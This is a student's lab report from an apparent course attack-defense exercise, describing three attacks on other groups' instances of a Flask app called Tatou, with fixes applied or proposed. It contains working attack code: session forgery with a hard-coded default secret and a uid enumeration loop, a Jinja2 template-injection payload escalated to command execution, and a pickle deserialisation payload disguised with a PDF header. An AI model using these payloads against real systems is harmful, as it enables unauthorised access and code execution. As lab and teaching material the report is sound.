Achyuth Anand (Grp 05)
Github id(s): achyuth03, AshWiz03

Specialization C: Offensive operations

Achyuth Anand

#Attack vector 1 : JWT forgery

Flags obtained (Flag_03):

1. b16b4f02742285a0e1664c9447197fc01cdce94c (grp3)
2. 3f8117ad9a09343a164f58f43fd6a35c01c7f998 (grp 07)
3. 2933596c82f2b27a72a1815b7e837ac77daefb54 (grp 11)
4. 51a973fc257f8fb7a6ee287d7e3228a64cf6bd12 (grp 15)
5. 360945df18c9183a09ed1488c134ef424489512b (grp 17)
6. 303c01ad9acc1a9be2e4097f80a980f8d5bba2fc (grp 29)

Method:

1. Examine the source code at 'server.py' and look for the default hard-coded Secret_key.

```
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY",
"dev-secret-change-me")
def _serializer():
    return URLSafeTimedSerializer(app.config["SECRET_KEY"],
salt="tatou-auth")
```

   Forge a session using the default secret key (SECRET_KEY) and the vulnerable instances returned a 200 OK response since the right key was used.

2. Loop through the next N uids $(N \simeq 600)$ for each of the vulnerable groups and call the
   GET /api/list-documents API to list all the documents (Basically, it lists all the documents owned by every user with uid=1 to uid=600).

```
for uid in range(1, 600):
    token = serializer.dumps({"uid": uid, "login": "x",
"email": "x@x.com"})
    r = requests.get(f"{BASE}/api/list-documents",
                     headers={"Authorization": f"Bearer
{token}"})
    if r.json().get("documents"):
        print(f"uid {uid} has documents:
{r.json()['documents']}")
```

3. Filter the logs with 'name=flag_3' to retrieve the uid and the doc_id.

4. With the correct uid and doc_id identified, a token is forged and the token is used to access the document using the GET /api/get-document/<doc_id> API to retrieve the flag document which contains the flag.

Achyuth Anand (Grp 05)
Github id(s): achyuth03, AshWiz03

Implemented fixes in group 05 Tatou instance:
Rather than relying on the default secret key (SECRET_KEY) hardcoded in the server program, a new random key was generated and stored in the .env file, and the function was modified to crash if the environment file didn't have the unique secret_key, rather than silently falling back into the default hard-coded secret.

#Attack vector 2 : Remote Code Execution over SSTI

Flags obtained (Flag_01):

1. 165255ecbbe3081e9ea2d91acfec15df524ee103 (Test runner - grp 35)

Method:

1. Examine the source code app.py and look for the IP address being concatenated into the template string and rendered.

```
ip = _client_ip(app)

message = f"No test results for your location ({ip})."

page = (
    '{% extends "base.html" %}'
    '<p class="empty">' + message + "</p>"
    '{% endblock %}'
)

return render_template_string(page), 404
```

   The IP payload is directly inserted into the message. The reason being the ip value is read directly from the 'X-forwarded for' http header, which can be set to anything, including a malicious payload.

2. First, test the application to ensure the vulnerability is real. Create a payload that sends the following request:
   GET / HTTP/1.1 X-Forwarded-For: {{7*7}}
   An additional bug that has been exploited here is the fact that if the application rejects the IP, the error message also contains the IP value from the header that has been evaluated by flask.

3. If the HTTP error response comprises the evaluated value : **49** (7*7), it means that flask successfully executed and calculated the payload {{7*7}}. This proves that a payload, when inserted in the 'X-forwarded for' header, is executed by flask directly without being filtered. (This was successfully observed in the attack).

4. Escalate to RCE by inputting a malicious payload into the http header:

Achyuth Anand (Grp 05)
Github id(s): achyuth03, AshWiz03

```
GET / HTTP/1.1 X-Forwarded-For:
{{request.application.__globals__.__builtins__.__import__('os')
.popen('cat /flag_1').read()}}
```

The payload runs the cat flag_1 command and the flag value gets substituted into the page where the IP was supposed to be, and sends it back in the HTTP response.

Suggested patch:
Validation of the input provided at the X-forwarded-for field to ensure it is an IP before using it can thwart this attack.This ensures that a malicious payload can't be given to execute by flask's jinja2 template engine.

#Attack vector 3 : Exploit load-plugin endpoint

Flags obtained (Flag_01):

1. 06040cdd119aea73230c4fa1c5160b47bbeecc19 (grp 11)
2. C70ebd075b82669a6307609d6bc139724ea033c0 (grp 17)
3. 5220b75a219875d366600dc28ad30cc7e4f454d4 (grp 29)

Method:

1. The vulnerability exists in the POST /api/load-plugin endpoint, which uploads a file with a specific filename parameter and uploads it to the pickle.loads() function without any input sanitation.

2. The pickle.loads() in turn executes arbitrary python codes to implement a custom watermark.
3. Device a malicious pkl payload that runs the 'cat _flag' bash command inside the target's container and write's the flag's value at a location that can be retrieved normally and read.

```
class Exploit:
    def __reduce__(self):
        import os
        cmd = f'cat /app/flag > /app/storage/files/{login}/loot.txt'
        return (os.system, (cmd,))
```

4. Upload the pkl file using the POST/api/upload-file endpoint. Preferably, prefix the payload with a pdf marker in order to bypass filetype validation.
   `payload = b'%PDF-1.4\n' + pickle.dumps(Exploit()).`

5. The server stores the .pkl file in the specific format:
   YYYYMMDDTHHMMSS{microseconds}Z__filename.pdf

6. In order to figure out the {microseconds} value, the correct microsecond needs to be brute forced in order to trigger the pkl. This is accomplished by accessing the load-plugin with brute forcing the microseconds value till the HTTP 400 response (the plugin validation check fails) is received.

Achyuth Anand (Grp 05)
Github id(s): achyuth03, AshWiz03

7. Once the filename is retrieved, load-plugin deserialises the pickle, the payload is executed, and the script writes the contents of the flag into a location that can be retrieved through the GET /api/get-document/{id} endpoint.

Implemented fixes in group 05 Tatou instance:
The load-plugin endpoint was disabled, rendering the attack moot. This was done since the endpoint provided no value addition, and rather than patching bug-by-bug of a rather compromised endpoint, it was trivial to just disable the endpoint all together.